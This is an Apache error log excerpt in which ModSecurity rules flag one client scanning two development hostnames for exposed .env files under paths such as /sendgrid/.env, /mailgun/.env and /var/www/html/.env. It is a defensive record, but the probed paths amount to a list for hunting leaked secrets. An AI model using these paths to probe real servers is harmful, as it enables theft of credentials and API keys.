[Fri Jul 17 09:14:29.962991 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/storage/.env"] [unique_id "almlHVCBpfuYyhJ140vVzgAAAB4"]
[Fri Jul 17 09:14:29.964186 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/storage/.env"] [unique_id "almlHVCBpfuYyhJ140vVzgAAAB4"]
[Fri Jul 17 09:14:29.976460 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sender/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/sender/.env"] [unique_id "almlHVh1WDijTxd1xw5PdgAAAAc"]
[Fri Jul 17 09:14:29.976730 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/sender/.env"] [unique_id "almlHVh1WDijTxd1xw5PdgAAAAc"]
[Fri Jul 17 09:14:29.977017 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHVh1WDijTxd1xw5PdgAAAAc"]
[Fri Jul 17 09:14:30.143528 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /campaign/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/campaign/.env"] [unique_id "almlHg7FYe46zHK_jL3TCAAAABk"]
[Fri Jul 17 09:14:30.143909 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/campaign/.env"] [unique_id "almlHg7FYe46zHK_jL3TCAAAABk"]
[Fri Jul 17 09:14:30.144210 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHg7FYe46zHK_jL3TCAAAABk"]
[Fri Jul 17 09:14:30.147354 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlHVCBpfuYyhJ140vVzgAAAB4"]
[Fri Jul 17 09:14:30.216218 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:33774] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:14:30.311719 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /newsletter/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/newsletter/.env"] [unique_id "almlHvwooI4qY7Jg93pYoAAAABM"]
[Fri Jul 17 09:14:30.311983 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/newsletter/.env"] [unique_id "almlHvwooI4qY7Jg93pYoAAAABM"]
[Fri Jul 17 09:14:30.312332 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHvwooI4qY7Jg93pYoAAAABM"]
[Fri Jul 17 09:14:30.316062 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/var/www/.env"] [unique_id "almlHoe39YUk0SgV8AU9PwAAABE"]
[Fri Jul 17 09:14:30.317255 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/var/www/.env"] [unique_id "almlHoe39YUk0SgV8AU9PwAAABE"]
[Fri Jul 17 09:14:30.413913 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:30.481195 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ses/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/ses/.env"] [unique_id "almlHgRRrtuZqNDDSqWzOwAAABo"]
[Fri Jul 17 09:14:30.481560 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/ses/.env"] [unique_id "almlHgRRrtuZqNDDSqWzOwAAABo"]
[Fri Jul 17 09:14:30.481940 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHgRRrtuZqNDDSqWzOwAAABo"]
[Fri Jul 17 09:14:30.490219 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlHoe39YUk0SgV8AU9PwAAABE"]
[Fri Jul 17 09:14:30.650072 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sendgrid/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/sendgrid/.env"] [unique_id "almlHq14q1EBnanVMYGnBwAAAAk"]
[Fri Jul 17 09:14:30.650333 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/sendgrid/.env"] [unique_id "almlHq14q1EBnanVMYGnBwAAAAk"]
[Fri Jul 17 09:14:30.650567 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHq14q1EBnanVMYGnBwAAAAk"]
[Fri Jul 17 09:14:30.663540 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/var/www/html/.env"] [unique_id "almlHo1dLClkUfK_dfHn4gAAAAI"]
[Fri Jul 17 09:14:30.665491 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/var/www/html/.env"] [unique_id "almlHo1dLClkUfK_dfHn4gAAAAI"]
[Fri Jul 17 09:14:30.821535 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sparkpost/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/sparkpost/.env"] [unique_id "almlHujME1mgqYZ5O94pYAAAAAE"]
[Fri Jul 17 09:14:30.821944 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/sparkpost/.env"] [unique_id "almlHujME1mgqYZ5O94pYAAAAAE"]
[Fri Jul 17 09:14:30.822446 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHujME1mgqYZ5O94pYAAAAAE"]
[Fri Jul 17 09:14:30.858222 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlHo1dLClkUfK_dfHn4gAAAAI"]
[Fri Jul 17 09:14:30.990920 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /postmark/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/postmark/.env"] [unique_id "almlHkkXT4NBqALj2lZ_4wAAABA"]
[Fri Jul 17 09:14:30.991234 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/postmark/.env"] [unique_id "almlHkkXT4NBqALj2lZ_4wAAABA"]
[Fri Jul 17 09:14:30.991535 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHkkXT4NBqALj2lZ_4wAAABA"]
[Fri Jul 17 09:14:31.059356 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/current/.env"] [unique_id "almlH7EWOaI5pmYo9fnR2gAAAAA"]
[Fri Jul 17 09:14:31.060615 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/current/.env"] [unique_id "almlH7EWOaI5pmYo9fnR2gAAAAA"]
[Fri Jul 17 09:14:31.161531 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mailgun/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/mailgun/.env"] [unique_id "almlH4l9vhFBGA6D8l99KwAAAAw"]
[Fri Jul 17 09:14:31.161985 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/mailgun/.env"] [unique_id "almlH4l9vhFBGA6D8l99KwAAAAw"]
[Fri Jul 17 09:14:31.162429 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlH4l9vhFBGA6D8l99KwAAAAw"]
[Fri Jul 17 09:14:31.269845 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlH7EWOaI5pmYo9fnR2gAAAAA"]
[Fri Jul 17 09:14:31.331746 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mandrill/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/mandrill/.env"] [unique_id "almlHw7FYe46zHK_jL3TCgAAABk"]
[Fri Jul 17 09:14:31.332134 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/mandrill/.env"] [unique_id "almlHw7FYe46zHK_jL3TCgAAABk"]
[Fri Jul 17 09:14:31.332485 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlHw7FYe46zHK_jL3TCgAAABk"]
